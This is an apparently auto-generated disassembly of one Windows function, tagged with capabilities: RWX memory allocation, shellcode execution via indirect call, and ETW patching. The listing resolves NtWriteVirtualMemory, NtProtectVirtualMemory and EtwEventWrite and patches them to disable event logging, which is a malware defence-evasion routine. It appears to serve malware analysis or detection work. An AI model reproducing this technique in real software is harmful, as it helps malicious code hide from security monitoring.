Function at 0x140001cf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch event tracing for windows function

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x1a8
mov rax, qword [0x14014ac48]
xor rax, rsp
mov qword [rsp + 0x198], rax
mov dword [rsp + 0x3c], 0
lea rax, [rsp + 0x150]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
rep stosb byte [rdi], al
lea rax, [rsp + 0x180]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
rep stosb byte [rdi], al
lea rax, [rsp + 0x168]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
rep stosb byte [rdi], al
lea rax, [rsp + 0x150]
mov qword [rsp + 0x80], rax
lea r9, [rsp + 0x3c]
mov r8d, 0x40
mov edx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx r8d, byte [rsp + 0x32]
lea rdx, str.NtWriteVirtualMemory
lea rcx, [rsp + 0x120]
call fcn.1400111d0
mov rcx, rax
call fcn.1400718c0
lea rdx, [rsp + 0x150]
mov rcx, rax
call fcn.140001420
lea rax, [rsp + 0x168]
mov qword [rsp + 0x58], rax
lea r9, [rsp + 0x3c]
mov r8d, 0x40
mov edx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
lea rcx, [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx r8d, byte [rsp + 0x33]
lea rdx, str.NtProtectVirtualMemory
lea rcx, [rsp + 0x138]
call fcn.140010b60
mov rcx, rax
call fcn.140071960
lea rdx, [rsp + 0x168]
mov rcx, rax
call fcn.140001420
movzx r8d, byte [rsp + 0x34]
lea rdx, str.EtwEventWrite
lea rcx, [rsp + 0x110]
call fcn.140011980
mov rcx, rax
call fcn.140071aa0
mov qword [rsp + 0x60], rax
lea rcx, [0x1400cf5d0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [rsp + 0x60]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x30], 0xca
lea rcx, [rsp + 0x35]
call fcn.1400130b0
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x31]
mov r8, rcx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xd0]
call fcn.140014900
lea rcx, [rsp + 0x90]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x68]
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0xa0]
call fcn.140014a30
nop
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x48], 0x1000
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rax]
call qword [rsp + 0x58]
movzx r8d, byte [rsp + 0x36]
lea rdx, [0x1400cf5e8]
lea rcx, [rsp + 0x100]
call fcn.1400120c0
mov rcx, rax
call fcn.140071820
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.140014700
nop
lea r9, [rsp + 0xe0]
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x1c8]
call fcn.140032a70
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
call fcn.1400716b0
mov qword [rsp + 0x20], 0
mov r9d, reloc.OLEAUT32.dll_SafeArrayGetElement
mov r8, rax
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rax]
call qword [rsp + 0x80]
nop
lea rcx, [rsp + 0xb8]
call fcn.140015310
nop
lea rcx, [rsp + 0xe0]
call fcn.140015250
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x38]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rax]
call qword [rsp + 0x58]
nop
lea rcx, [rsp + 0xa0]
call fcn.140015310
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.14009cb40
add rsp, 0x1a8
pop rdi
pop rsi
ret